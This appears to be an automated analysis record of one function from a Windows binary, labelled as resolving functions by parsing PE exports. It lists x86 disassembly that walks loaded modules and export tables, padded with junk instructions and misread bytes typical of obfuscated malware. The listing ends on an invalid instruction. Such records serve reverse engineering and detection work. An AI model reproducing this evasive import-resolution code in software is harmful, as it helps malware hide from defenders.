Function at 0x49d95b
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add esp, 4
xor esi, 0x996d
add esi, 0x701f
pop esi
push esi
add esi, 0xa1fe
pop esi
cmp dword [ebp - 0x1518], 0
jne 0x49d91b
mov dword [ebp - 0x710], 0
jmp 0x49dbc2
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push ecx
jmp 0x49d937
pop ecx
push edx
push esi
add esp, 4
sub edx, 0xdb70
or edx, 0x150a
and edx, 0x1145f
call 0x49d95b
add byte [esi], dh
aaa
inc esi
inc ebx
inc ecx
dec edx
add esp, 4
pop edx
cmp dword [ebp - 0xc58], 0
jne 0x49d977
mov dword [ebp - 0x710], 0
jmp 0x49dbc2
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push edi
push esi
add esp, 4
sub edi, 0x12f6
pop edi
push ebx
or ebx, 0xf091
xor ebx, 0x2f59
or ebx, 0xa666
sub ebx, 0x153cd
pop ebx
push esi
push eax
add esp, 4
sub esi, 0x157b5
pop esi
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push esi
add esi, 0xf4b9
add esi, 0x1374b
sub esi, 0x284a
sub esi, 0x1702f
pop esi
push ecx
push edx
add esp, 4
sub ecx, 0x6cea
sub ecx, 0xed9b
and ecx, 0x7ef9
pop ecx
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push ecx
push ebx
add esp, 4
jmp 0x49da73
pop ecx
push edx
and edx, 0x3a3e
pop edx
push eax
jmp 0x49da82
pop eax
push edx
push esi
add esp, 4
xor edx, 0x138f4
jmp 0x49da93
xor edx, 0x420f
pop edx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x49dab7
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x49db11
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x49d9df
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x49d9df
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x49dafb
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x49db05
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x49db5a
push ebx
or ebx, 0xfddb
or ebx, 0x7cdf
or ebx, 0x8bc9
pop ebx
push ecx
push ecx
add esp, 4
or ecx, 0x16647
sub ecx, 0x6922
xor ecx, 0x141c5
and ecx, 0x7701
pop ecx
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x49dbc2
push edi
sub edi, 0x6d01
pop edi
push ebx
push eax
add esp, 4
sub ebx, 0x858e
jmp 0x49db73
and ebx, 0xb300
add ebx, 0xa1b2
pop ebx
push edi
push edi
add esp, 4
sub edi, 0x44d1
pop edi
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x49dbb8
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x49d983
mov dword [ebp - 0x710], 0
push ecx
push ebx
add esp, 4
add ecx, 0x652f
and ecx, 0xea1c
pop ecx
push esi
push ecx
add esp, 4
or esi, 0x12e63
and esi, 0x164ca
pop esi
push ecx
xor ecx, 0x15e75
and ecx, 0x7da8
pop ecx
cmp dword [ebp - 0x710], 0
jne 0x49dc3e
push eax
push ecx
add esp, 4
jmp 0x49dc07
pop eax
push eax
jmp 0x49dc0e
sub eax, 0x15d35
or eax, 0x1481e
or eax, 0xa99f
pop eax
push eax
push ebx
add esp, 4
jmp 0x49dc2e
pop eax
mov dword [ebp - 0xa58], 0
jmp 0x49e766
push edx
push edi
add esp, 4
xor edx, 0x9bfb
pop edx
push ebx
sub ebx, 0x798d
and ebx, 0x1190d
pop ebx
push edi
push edx
add esp, 4
add edi, 0xdbb3
pop edi
push edi
push edi
add esp, 4
add edi, 0x1117d
pop edi
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x49dcaf
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x49dfa0
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x49dcd7
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x49dfa0
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x49dd09
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x49dfa0
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x49dd2e
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x49dfa0
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x49dd88
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x49df94
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x49ddf8
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x49deaa
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x49deaa
push ebx
xor ebx, 0xde4a
and ebx, 0x16e76
sub ebx, 0x70d1
add ebx, 0x4820
pop ebx
push ecx
push edi
add esp, 4
call 0x49de53
add byte [eax + 0x38], dl
aas
aaa
inc eax
cmp ecx, dword [eax + 0x47]
dec eax
inc edi
dec ecx
add esp, 4
pop ecx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x49de9c
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x49dea3
jmp 0x49dde9
jmp 0x49deaa
push eax
push esi
add esp, 4
jmp 0x49deb7
sub eax, 0xf07
and eax, 0xdc84
call 0x49decf
add byte [eax], bh
cmp al, 0x3f
cmp esi, dword [0x4c48333]
pop eax
push eax
jmp 0x49dedb
pop eax
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x49df09
mov dword [ebp - 0xc5c], 0
jmp 0x49df78
push edi
add edi, 0x1d4c
call 0x49df1d
add byte [ebp + 0x45], cl
inc ebx
inc eax
dec esp
aaa
add esp, 4
pop edi
push esi
push esi
add esp, 4
or esi, 0x15f76
pop esi
push eax
xor eax, 0x6c1e
add eax, 0x2700
pop eax
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x49df6e
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x49df78
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x49df8f
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x49dfa0
jmp 0x49dd79
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x49e07b
push esi
xor esi, 0x100
pop esi
push edx
push esi
add esp, 4
call 0x49dfc7
add byte [ebx + 0x3a], al
dec esi
dec edi
aaa
dec esi
aaa
add esp, 4
jmp 0x49dfd0
jmp 0x49dfd8
sub edx, 0x16fde
pop edx
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push edx
push ecx
add esp, 4
xor edx, 0xeba3
jmp 0x49dffe
pop edx
push esi
push edi
add esp, 4
or esi, 0xfe9d
call 0x49e019
add byte [edi], dh
dec ecx
xor dh, byte [esi]
inc esp
dec edx
aas
cmp byte [ebx - 0x74a1fb3c], al
xchg ebp, eax
adc bh, ah
invalid